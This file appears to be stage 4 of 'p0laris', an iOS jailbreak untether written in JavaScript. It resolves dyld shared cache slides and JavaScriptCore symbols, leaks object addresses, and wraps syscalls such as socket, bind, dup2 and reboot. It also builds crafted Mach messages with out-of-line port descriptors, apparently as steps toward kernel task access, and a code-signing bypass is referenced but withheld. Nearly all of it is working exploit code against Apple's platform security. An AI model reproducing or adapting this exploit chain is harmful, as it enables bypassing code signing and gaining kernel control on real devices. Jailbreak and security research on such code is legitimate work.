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var socket = scall_wrapper("socket");
var htons = scall_wrapper("htons");
var inet_addr = scall_wrapper("inet_addr");
var dup2 = scall_wrapper("dup2");
var bind = scall_wrapper("bind");
var listen = scall_wrapper("listen");
var accept = scall_wrapper("accept");
var close = scall_wrapper("close");
var printf = scall_wrapper("printf");
var reboot = scall_wrapper("reboot");
var AF_INET = 2;
var SOCK_DGRAM = 2;
var SOCK_DGRAM = 2;
var IPPROTO_UDP = 17;
var UNSLID_BASE = 0x4000;
function prep_shit() {
string_ref = scall("JSStringCreateWithUTF8CString", "victim");
global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
large_buf_ptr = leak_vec(large_buf);
}
function csbypass_wrapper() {
if (csbypass == undefined) {
p0laris_log("[*] you're probably running a public build of the untether. i don't have permission to distribute this code yet. sorry.");
return;
} else {
csbypass();
}
}
function csbypass_stage4() {
csbypass_wrapper();
return 0;
}
function main() {
syslog(LOG_SYSLOG, "__p0laris_LOG_START__");
p0laris_log("[*] we out here");
p0laris_log("[*] landed in stage4");
p0laris_log("[*] p0laris.dyld_shc_slide=0x%08x\n", p0laris.dyld_shc_slide);
p0laris_log("[*] p0laris.racoon_slide=0x%08x\n", p0laris.racoon_slide);
// printf = p0laris_log;
printf("test");
var dyld_shc_slide = get_dyld_shc_slide();
sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide;
sym_cache["JSObjectGetProperty"] = JSObjectGetProperty + dyld_shc_slide;
sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide;
prep_shit();
if (0) {
var init_port_set = new mach_msg_ool_ports_descriptor_t(4);
var addy = init_port_set.addy;
var init_port_set_obj = init_port_set.deref();
init_port_set_obj.address = 0x41414141;
init_port_set_obj.count = 0x42424242;
init_port_set_obj.disposition = 19;
init_port_set_obj.deallocate = false;
init_port_set_obj.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
init_port_set.write(init_port_set_obj, 0);
init_port_set.write(init_port_set_obj, 1);
init_port_set.write(init_port_set_obj, 2);
init_port_set.write(init_port_set_obj, 3);
p0laris_log("%s %s %s %s", JSON.stringify(init_port_set.deref(0)),
JSON.stringify(init_port_set.deref(1)),
JSON.stringify(init_port_set.deref(2)),
JSON.stringify(init_port_set.deref(3)));
var Head = new mach_msg_header_t();
var addy = Head.addy;
var Head_obj = Head.deref();
Head_obj.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
Head_obj.msgh_remote_port = 0x41424344;
Head_obj.msgh_local_port = 0x45464748;
Head_obj.msgh_id = 1337;
Head.write(Head_obj);
p0laris_log("%s", JSON.stringify(Head.deref()));
p0laris_log("here");
var req = new Request_sp(4);
p0laris_log("here");
var addy = req.addy;
p0laris_log("here");
var req_obj = req.deref();
p0laris_log("here");
req_obj.msgh_body.msgh_descriptor_count = 4;
p0laris_log("here");
for (var i = 0; i < 4; i++) {
req_obj.init_port_set[i].address = 0x1234;
req_obj.init_port_set[i].count = 0x1235;
req_obj.init_port_set[i].disposition = 19;
req_obj.init_port_set[i].deallocate = false;
req_obj.init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
}
p0laris_log("here");
req_obj.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
p0laris_log("here");
req_obj.Head.msgh_remote_port = 0x41424344;
p0laris_log("here");
req_obj.Head.msgh_local_port = 0x45464748;
p0laris_log("here");
req_obj.Head.msgh_id = 1337;
p0laris_log("here");
req.write(req_obj);
p0laris_log("here");
p0laris_log("%s", JSON.stringify(req.deref(), function (key, value) {
if (typeof value === 'number') {
return "0x" + value.toString(16);
}
return value;
}, "\t"));
p0laris_log("here");
var mess = shit_heap(0x1000);
var InP = mess;
var OutP = mess;
write_u32(InP + 0x18, 1);
write_u32(InP + 0x1c, 0x69);
write_u32(InP + 0x20, 0x420);
write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));
write_u32(InP + 0x28, 0x1234);
write_u32(InP + 0x2c, 0x5678);
write_u32(InP + 0x30, 0x9999);
write_u32(InP + 0x0, 0x80001513);
write_u32(InP + 0x8, 0x4141);
write_u32(InP + 0xc, mig_get_reply_port());
write_u32(InP + 0x14, 3403);
p0laris_log("here");
var InP_ptr = new Request_r3(1, InP);
p0laris_log("here");
p0laris_log("%s", JSON.stringify(InP_ptr.deref(), function (key, value) {
if (typeof value === 'number') {
return "0x" + value.toString(16);
}
return value;
}, "\t"));
}
// return;
r3gister(0x41, 0x42, 0x43, 0x44);
// var tfp0 = get_kernel_task();
syslog(LOG_SYSLOG, "__p0laris_LOG_END__");
return 0;
}
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